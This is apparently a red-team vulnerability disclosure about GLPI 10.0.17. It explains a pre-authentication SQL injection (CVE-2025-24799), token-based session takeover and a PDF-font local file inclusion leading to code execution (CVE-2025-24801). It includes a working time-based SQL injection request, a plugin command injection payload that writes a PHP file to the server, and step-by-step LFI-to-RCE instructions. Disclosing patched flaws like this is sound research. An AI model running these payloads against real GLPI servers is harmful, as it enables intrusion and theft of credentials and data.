Abstract
Several GLPI
instances have been identified during Red Team engagements. The software is popular with French-speaking companies, some of those even expose their instances directly on the Internet. GLPI has been historically known to harbor multiple easy-to-find vulnerabilities, and because it is often connected to an Active Directory, finding a vulnerability on this application for Red Team engagements or internal infrastructure audits could lead to initial access to the internal network and the recovery of an active directory account.
Pre-authenticated SQL injection
Multiple SQL injections on GLPI have been reported in the past. Most of them are considered to be post-authenticated and require an account to trigger the vulnerability (1) (3) (4). The ones accessible pre-authentication are quite rare (2) (5) and have been patched on the instances found during our external reconnaissance phase.
A new SQL injection has been found on the Inventory native feature of GLPI (which is commonly enabled). This feature is accessible without any required authentication mechanism.
At the time of this article's writing, 10.0.17
was the latest stable version, and it will be used as an example, but the vulnerability may affect previous versions.
handleAgent() - 10.0.17
The handleAgent
function found in /src/Agent.php
is an accessible pre-authentication function used by the GLPI agent for inventory purposes.
<?php
public function handleAgent($metadata)
{
/** @var array $CFG_GLPI */
global $CFG_GLPI;
$deviceid = $metadata['deviceid'];
$aid = false;
if ($this->getFromDBByCrit(Sanitizer::dbEscapeRecursive(['deviceid' => $deviceid]))) {
$aid = $this->fields['id'];
}
This function takes user inputs and stores them into variables such as $deviceid
, then passed to the getFromDBByCrit
function after going through a sanitizing function dbEscapeRecursive
since 10.0.7.
dbEscapeRecursive() - 10.0.17
<?php
public static function dbEscapeRecursive(array $values): array
{
return array_map(
function ($value) {
if (is_array($value)) {
return self::dbEscapeRecursive($value);
}
if (is_string($value)) {
return self::dbEscape($value);
}
return $value;
},
$values
);
}
This function takes an array as input and recursively calls dbEscape
to escape its input, the vulnerability is easily catchable here. What if we could send a value that is neither an array
nor a string
?
handleRequest() - 10.0.17
In the handleRequest
function used to parse agent requests, it is possible to perform an agent request using two methods, XML and JSON.
<?php
switch ($this->mode) {
case self::XML_MODE:
return $this->handleXMLRequest($data);
case self::JSON_MODE:
return $this->handleJSONRequest($data);
}
While the JSON_MODE
only performs a quick json_decode
, it can only create string
, array
, integer
, and stdClass
objects (which does not properly have a __toString
function). The XML_MODE
however creates a SimpleXMLElement
object from the user input.
<?php
public function handleXMLRequest($data): bool
{
libxml_use_internal_errors(true);
if (mb_detect_encoding($data, 'UTF-8', true) === false) {
$data = iconv('ISO-8859-1', 'UTF-8', $data);
}
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOCDATA);
This is the perfect candidate to bypass the dbEscapeRecursive
function, as it is an object that can be converted to a string easily.
php > $xml = simplexml_load_string('<test>a</test>');
php > var_dump($xml);
object(SimpleXMLElement)#2 (1) {
[0]=>
string(1) "a"
}
php > var_dump($xml."toString");
string(9) "atoString"
Final request
To exploit this vulnerability, an XML request to the agent request endpoint is crafted and leads to an SQL injection exploitable using a simple time-based attack.
POST /index.php/ajax/ HTTP/1.1
Host: glpi
User-Agent: python-requests/2.32.3
Content-Type: application/xml
Content-Length: 232
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<QUERY>get_params</QUERY>
<deviceid>', IF((1=1),(select sleep(5)),1), 0, 0, 0, 0, 0, 0);#</deviceid>
<content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>
</xml>
Using this simple request, the server sleeps for 5 seconds due to the 1=1
condition being true. It is now possible to extract any data from the database using the privileges of the current GLPI database user.

It is important to note that the structure of the database changes from one version to another. The number of columns in the query above may therefore be different.
Leveraging the database read to an authentication bypass
Now that read
privileges to the database have been acquired, multiple ways exist to gain a valid session. The obvious one is recovering accounts from the database and attempting a password crack. However, with the passwords being stored using bcrypt
, it could be a challenge to recover the clear text of a technician or super-administrator account.
api_token
If the api_token
of an account is set in the database, this can be used to easily obtain a valid session and gain access to the GUI of GLPI through the API authentication method.
<?php
POST /glpi/front/login.php HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 212
Origin: http://<redacted>
Connection: keep-alive
Referer: http://<redacted>/glpi/index.php
redirect=&_glpi_csrf_token=<redacted>&field<redacted>=test&field<redacted>=test&auth=local&submit=&user_token=<api_token>
The server then answers with a valid cookie that can be used to access the GUI.
Set-Cookie: glpi_<redacted>=<redacted>; path=/
personal_token
This token is used in the calendar feature and allows you to share a personal calendar using a unique token. This token uses the Session::authWithToken
method to authenticate a session, then destroy the session after printing the user's calendar.
Previously, it was possible to recover the impersonated session using a personal_token
by forcing a fatal error before the script ends its execution. This has been mitigated since 10.0.9 by setting the option session.use_cookies
to 0
.
Authenticated remote code execution
Method 1: Marketplace
The easiest method to obtain remote code execution once an administrator account has been compromised is to go to the plugins Marketplace. It used to even host a "Shell commands" plugin that has since been disabled for remote installations, however, there are still plenty of vulnerable plugins.
Sometimes, the GLPI server does not have direct internet access, however, a proxy server can be configured from the administration interface, this can be leveraged by an attacker for example by setting up their own proxy server or by configuring the internal corporate proxy.
For example, the public plugin printercounters
is still vulnerable to a system command injection.
POST /glpi/marketplace/printercounters/ajax/process.php HTTP/1.1
Host: <redacted>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Glpi-Csrf-Token: <redacted>
X-Requested-With: XMLHttpRequest
Content-Length: 266
Connection: keep-alive
Referer: http://<redacted>/glpi/marketplace/printercounters/front/config.form.php
Cookie: glpi_<redacted>=<redacted>; stay_login=0
action=killProcess&items_id=1231231';echo `{echo,PD9waHAgcGhwaW5mbygpOyA/Pg%3d%3d}|{base64,-d}|{tee,rz.php}`;%23
Method 2: Local File Inclusion - 10.0.17
A local file inclusion has also been identified in the PDF export functionality. This functionality allows an administrator to export various tables to PDF format using the library TCPDF
. It is possible to set up a custom PDF font in the configuration entry pdffont
(changed globally through a super-admin account, or by any account through their personnalization options inside their user profile), which is not properly checked for directory traversal, either from the GLPI
or TCPDF
side.
PDF fonts are simply php files stored inside the TCPDF fonts
folder, due to this issue it is possible to include any PHP files from the system if the font name is controlled.
<?php
if (TCPDF_STATIC::empty_string($fontfile) OR (!@TCPDF_STATIC::file_exists($fontfile))) {
// build a standard filenames for specified font
$tmp_fontfile = str_replace(' ', '', $family).strtolower($style).'.php';
$fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
if (TCPDF_STATIC::empty_string($fontfile)) {
$missing_style = true;
// try to remove the style part
$tmp_fontfile = str_replace(' ', '', $family).'.php';
$fontfile = TCPDF_FONTS::getFontFullPath($tmp_fontfile, $fontdir);
}
}
// include font file
if (!TCPDF_STATIC::empty_string($fontfile) AND (@TCPDF_STATIC::file_exists($fontfile))) {
$type=null;
$name=null;
$desc=null;
$up=-null;
$ut=null;
$cw=null;
$cbbox=null;
$dw=null;
$enc=null;
$cidinfo=null;
$file=null;
$ctg=null;
$diff=null;
$originalsize=null;
$size1=null;
$size2=null;
include($fontfile);
To exploit this vulnerability, a few preliminary steps are necessary. By default, php files are not allowed to be uploaded in GLPI, but this list can be altered by going to the Dropdown option "Document types" accessible at /front/documenttype.php
. Then, the path to the GLPI_TMP_DIR
folder needs to be obtained, this information is available in /front/config.form.php
, once it has been obtained, a simple file upload can be performed through /ajax/fileupload.php
(available on most forms of GLPI).

In summary:
- Update the Document Type dropdown list to allow
php
extensions - Recover the
GLPI_TMP_DIR
location from/front/config.form.php
- Upload a PHP file using
/ajax/fileupload.php
- Set the
pdffont
configuration to../../../../../../../../{GLPI_TMP_DIR}/uploadedfile
- Trigger the local file inclusion by exporting a table to PDF, for example
/front/report.dynamic.php?item_type=Computer&sort%5B0%5D=1&order%5B0%5D=ASC&start=0&criteria%5B0%5D%5Bfield%5D=view&criteria%5B0%5D%5Blink%5D=contains&criteria%5B0%5D%5Bvalue%5D=&display_type=2

Conclusion
The inventory feature in GLPI
is vulnerable to an unauthenticated SQL injection. While this feature is not enabled by default, it was enabled in most, if not all, installations we encountered during our Red Team assessments.
By exploiting this vulnerability, it is possible to obtain a valid GUI session through the api_token
or personal_token
columns in database which are stored in clear text if these have been previously set up.
Once authenticated, it is possible to exploit a local file inclusion vulnerability using the PDF export feature and achieve remote code execution on vulnerable instances.
Timeline
- 2024-12-25 - Discovery of the vulnerability
- 2025-01-28 - Report of the vulnerability through
Github Advisories
- 2025-01-28 -
GLPI
validates the report and assignsCVE-2025-24801
(exécution de code à distance) - 2025-01-28 -
GLPI
validates the report and assignsCVE-2025-24799
(injection SQL) - 2025-02-12 - Release patched version
10.0.18
- 2025-03-12 - Article released
Resources
- (1) https://blog.quarkslab.com/exploiting-glpi-during-a-red-team-engagement.html
- (2) https://www.synacktiv.com/ressources/advisories/GLPI_9.3.3_SQL_Injection.pdf
- (3) https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj
- (4) https://sensepost.com/blog/2024/from-a-glpi-patch-bypass-to-rce/
- (5) https://github.com/glpi-project/glpi/security/advisories/GHSA-v799-2mp3-wgfr